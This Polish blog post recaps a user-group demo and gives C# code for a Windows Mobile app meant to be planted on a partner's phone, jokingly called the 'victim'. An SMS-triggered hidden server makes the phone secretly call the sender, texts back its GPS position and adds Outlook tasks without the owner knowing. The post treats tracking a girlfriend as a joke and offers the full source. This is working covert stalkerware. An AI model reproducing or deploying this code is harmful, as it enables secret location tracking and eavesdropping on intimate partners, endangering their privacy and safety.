W czwartek 2 kwietnia odbyło się pierwsze spotkanie OLMUG. Wraz z Dawidem Cieszyńskim przedstawiłem uczestnikom jak w fajny i prosty sposób można pisać aplikacje na system Windows Mobile. Cała prezentacja składała się z dwóch slajdów: tytułowego oraz feature’ów naszej aplikacji, którą pisaliśmy podczas prezentacji. Głównym celem naszego programu było umożliwienie śledzenie lub sprawdzenie co dzieje sie w okolicy naszego partnera, pomysł aplikacji przyjęty został z wielką uciechą :D Aplikacja składa się z dwóch części: kliencką, którą instalowaliśmy na swoim telefonie wyposażonym w Windows Mobile oraz serwera, który powinien zostać wrzucony na telefon naszej przyszłej ofiary :) Klient umożliwia wydawanie poleceń serwerowi, który następnie zwraca dane klientowi. Cała komunikacja między klientem a serwerem odbywała się za pomocą smsów.
Na spotkaniu pokazaliśmy 3 feature naszej aplikacji:
- CALL TO ME – czyli po wysłaniu odpowiednio spreparowanego sms, telefon naszej ofiary automatycznie (i bez niej wiedzy) dzwoni do nas
- POSITION – dostajemy informacje o położeniu naszej ofiary, które są sczytywane z GPSa
- ADD TASK – dodanie zadania do telefonu naszej ofiary (ile razy Wasza dziewczyna zapominała kupić Wam piwo na mecz? Teraz już nie zapomni :) )
W obecnej chwili chcąc programować urządzenia mobilne, nie potrzebujemy nawet fizycznych urządzeń wyposażonych w Windows Mobile. Microsoft dostarcza nam wraz z SDK odpowiednie emulatory. Emulatory te są na tyle rozbudowane lub są dostarczane dodatkowe narzędzia, które potrafią emulować takie funkcje telefonu jak dostęp do sieci GSM (Cellular) lub fikcyjne pozycje GPS (Fake GPS). W poniższym wpisie nie będę opisywał tych urządzeń oraz jak z nich skorzystać.
Tworząc aplikacje na systemy Windows Mobile, nie tylko musimy wybrać, na którą wersję systemu chcemy pisać (5.0 czy 6.0) ale też musimy zdecydować się na jaki typ urządzenia tworzymy nasz rozwiązanie. Microsoft udostępnia dwie wersje systemu/sdk – standard oraz professional. Najważniejszą różnicą to typ wyświetlacza. Jeśli w urządzeniu posiadamy wyświetlacz dotykowy to korzystamy z wersji professional, jeśli nie to musimy wykorzystać z wersji standard.
Klient
Jak wcześniej wspomniałem nasza aplikacja miała trzy funkcjonalności, dlatego podczas tworzenia interfejsu skorzystałem z kontrolki TabControl, gdzie na każdej z zakładek mogliśmy korzystać z danej funkcjonalności. Innymi kontrolkami z jakich skorzystałem to: Label, TextBox oraz ComboBox. Do ComboBoxa podpiełem listę kontaktów. Poniżej screeny interfejsu.
Aby korzystać z informacji zawartych w outlooku na urządzeniu mobilnych, takich jak kontakty, zadania, maile, zdarzenia w kalendarzu trzeba utworzyć obiekt klasy OutlookSession. W przykładzie do trzech ComboBoxów podepniemy listę kontaktów, wszystko to będzie się wykonywać w konstruktorze naszego formularza.
1: public Form1()
2: {
3: InitializeComponent();
4:
5: _outlookSession = new OutlookSession();
6:
7: comboBox1.DataSource = _outlookSession.Contacts.Items;
8: comboBox3.DataSource = _outlookSession.Contacts.Items;
9: comboBox4.DataSource = _outlookSession.Contacts.Items;
10: }
Wysłanie smsa jest równie proste jak wyciągnięcie listy kontaktów z telefonu. Wystarczy utworzyć obiekt SmsMessage, któremu w konstruktorze przekazujemy numer na jaki wysyłamy sms oraz treść wiadomości, a następnie wywołujemy metodę Send. W pliku kodu behind formularza stworzymy sobie pomocniczą metodę SendSMS.
1: private void SendSMS(string number, string message)
2: {
3: SmsMessage smsMessage = new SmsMessage(number, message);
4: smsMessage.Send();
5: }
W każdym zdarzeniu Click przycisków na formularzu, będziemy tworzyć odpowiednią treść sms i go wysyłać.
1: private void button1_Click(object sender, EventArgs e)
2: {
3: string number = ((Contact)comboBox1.SelectedValue).MobileTelephoneNumber;
4:
5: string message = "CMD;CALL";
6: SendSMS(number, message);
7: }
8:
9: private void button2_Click(object sender, EventArgs e)
10: {
11: string number = ((Contact) comboBox3.SelectedValue).MobileTelephoneNumber;
12:
13: string message = "CMD;POSITION";
14: SendSMS(number, message);
15: }
16:
17: private void button3_Click(object sender, EventArgs e)
18: {
19: string number = ((Contact) comboBox4.SelectedValue).MobileTelephoneNumber;
20:
21: DateTime dateTime = new DateTime(dateTimePicker1.Value.Year,
22: dateTimePicker1.Value.Month,
23: dateTimePicker1.Value.Day,
24: dateTimePicker2.Value.Hour,
25: dateTimePicker2.Value.Minute,
26: dateTimePicker2.Value.Second);
27:
28: string message = "CMD;ADDTASK;" + textBox1.Text + ";" + dateTime.ToString();
29: SendSMS(number, message);
30: }
Serwer
Teraz przejdźmy do opisu ciekawszej części naszej aplikacji :)
Podstawowym elementem działania naszej aplikacji jest odbieranie smsów, które sterują działaniem aplikacji. Program będzie działał tak, że jak na urządzenie przyjdzie sms zaczynający się od ustalonej serii znaków, to wtedy system uruchomi nasz serwer, który przetworzy sms oraz wykona komendę, która została w nim przesłana. Do tego celu wykorzystamy klasę SMSInterceptionHelper. Klasę to niby można znaleźć w SDK do Windows Mobile (przynajmniej z informacji jakie otrzymałem od Bartka Zassa) ale niestety ja jakoś jej nie mogłem znaleźć.
Nie będę opisywał szczegółowo jak zbudowana jest klasa SMSInterceptionHelper, skupie się tylko na czterech najważniejszych elementach.
- APPLICATION_LAUNCH_ID – jest to ID aplikacji, dzięki której system identyfikuje ją i jak przyjdzie sms o odpowiedniej treści, to za pomocą tego ID ją uruchamia
- TOKEN – jest to ciąg znaków charakterystyczny dla smsów, nim ustawiamy na jaki ciąg znaków Windows Mobile ma uruchamiać naszą aplikację, gdy znajdzie się w smsie. W aplikacji jest to "CMD;"
- StartPersistentNotification() – jest to metoda dzięki, której rejestrujemy aplikację w systemie. Jak jej nie wywołamy to aplikacja nie będzie się uruchamiać jak przyjdzie żądany sms. W niej dokładnie ustawiamy jak mają zostać sprawdzane smsy. W aplikacji ustawiamy, że interesują nas takie smsy, w których treść zaczyna się od wcześniej ustawionego TOKENu
- OnSMSReceived – jest to zdarzenie, które zostaje wywołane, gdy przyjdzie interesujący nas SMS
W serwerze dla testów utworzyliśmy prosty interfejs, dzięki któremu będzie można zobaczyć co wykonuje aplikacja. Interfejs jak widać na rysunku składa się z labela, do którego będziemy przypisywać otrzymaną treść smsa oraz przycisk zamknij, który zamyka aplikację.
Teraz pora zajrzeć do najciekawszej części aplikacji czyli kodu :)
W konstruktorze formularza odpinamy metodę do zdarzenia OnSMSReceived oraz wywołujemy metodę StartPersistenNotification, która jak wcześniej napisałem rejestruje nam aplikację w systemie.
1: public Form1()
2: {
3: SMSInterceptionHelper.OnSMSReceived += new SMSInterceptionHelper.SMSReceived(SMSInterceptionHelper_OnSMSReceived);
4: SMSInterceptionHelper.StartPersistentNotification();
5: InitializeComponent();
6: }
Całym sercem aplikacji jest metoda SMSInterceptionHelper_OnSMSReceived formularza, która odpowiada za właściwą obsługę smsów oraz wykonywanie czynności aplikacji. Podczas pisania aplikacji nie przykładaliśmy się do ładnego napisania kodu, aby nie zaciemniać przykładów zbędnymi konstrukcjami. Dlatego metoda SMSInterceptionHelper_OnSMSReceived to trzy ify :)
CALL TO ME
1: if (message.StartsWith("CALL;"))
2: {
3: Phone phone = new Phone();
4: phone.Talk(Msg.From.Address);
5: return;
6: }
Pierwszą funkcjonalnością aplikacji jest dzwonienie do osoby, która wysłała podanego smsa. Wystarczy stworzyć obiekt klasy Phone oraz wywołać na nim metodę Talk przekazując do niej numer telefonu, pod jaki trzeba zadzwonić. W przykładzie jest to numer telefonu z jakiego przyszedł sms.
POSITION
1: if(message.StartsWith("POSITION"))
2: {
3: Gps gps = new Gps();
4: gps.Open();
5:
6: GpsPosition position = gps.GetPosition();
7: do
8: {
9: position = gps.GetPosition();
10: } while (!position.LatitudeValid || !position.LongitudeValid);
11: gps.Close();
12:
13: SmsMessage sms = new SmsMessage(Msg.From.Address, String.Format("LONG: {0} LAT:{1}", position.Longitude, position.Latitude));
14:
15:
16: sms.Send();
17: }
Drugą funkcjonalnością było wysyłanie sczytanigo z GPSa położenia telefonu oraz wysłanie smsa z informacjami, gdzie znajduje się śledzona osoba. W powyższym kodzie nie ma sprawdzanej obsługi takich sytuacji jak to, że osoba znajduje się w pomieszczeniu itp.
W przykładach dostarczonych wraz z SDK do Windows Mobile jest napisana klasa Gps, którą wykorzystamy. Jak widać w kodzie, tworzymy obiekt klasy Gps, otwieramy port i następnie w pętli sczytujemy pozycję do momentu aż dane dostarczone przez GPS będą poprawne. Na koniec wysyłamy zwykłego sms z położeniem.
ADD TASK
1: if(message.StartsWith("ADDTASK;"))
2: {
3: message = message.Replace("ADDTASK;", "");
4: OutlookSession os = new OutlookSession();
5: Task task = os.Tasks.Items.AddNew();
6:
7: string[] param = message.Split(new char[] {';'});
8: task.Subject = param[0];
9: task.StartDate = DateTime.Parse(param[1]);
10: task.DueDate = DateTime.Parse(param[1]);
11: task.ReminderSet = true;
12: task.ReminderTime = DateTime.Parse(param[1]);
13: task.Update();
14: }
Ostatni if dodaje do outlooka w telefonie nowe zadanie, np. kupienie piwa. Napisanie tej funkcjonalności, podobnie jak pozostałych elementów aplikacji nie jest trudne. Tworzymy obiekt Task, które reprezentuje zadanie z outlooka. Z smsa wyciągamy dane, którymi następnie ustawiamy odpowiednie właściwości obiektu klasy Task. Tworząc obiekt klasy Task nie tworzyliśmy go w sposób tradycyjny za pomocą słowa kluczowego new oraz konstruktora. Wywołaliśmy metodę AddNew kolekcji zadań z obiektu typu OutlookSession. Gdybyśmy tego nie zrobili tak, to nasze zadanie nie zostało by dodane do outlooka. Na koniec wywołujemy metodę Update, która aktualizuje dane zadania.
Tworząc nowe zadanie, w który ustawiamy datę rozpoczęcia musimy pamiętać również o ustawieniu daty zakończenia. Jeśli tego nie zrobimy, to podczas aktualizacji zadania do outlooka dostaniemy wyjątek, który niestety nie bardzo mówi co jest nie tak.
No i to by było na tyle :) Prawda, że pisanie aplikacji mobilnych nie jest trudne?
Zamieszczam kod aplikacji, dla tych, którzy chcą się pobawić w domowym zaciszu :)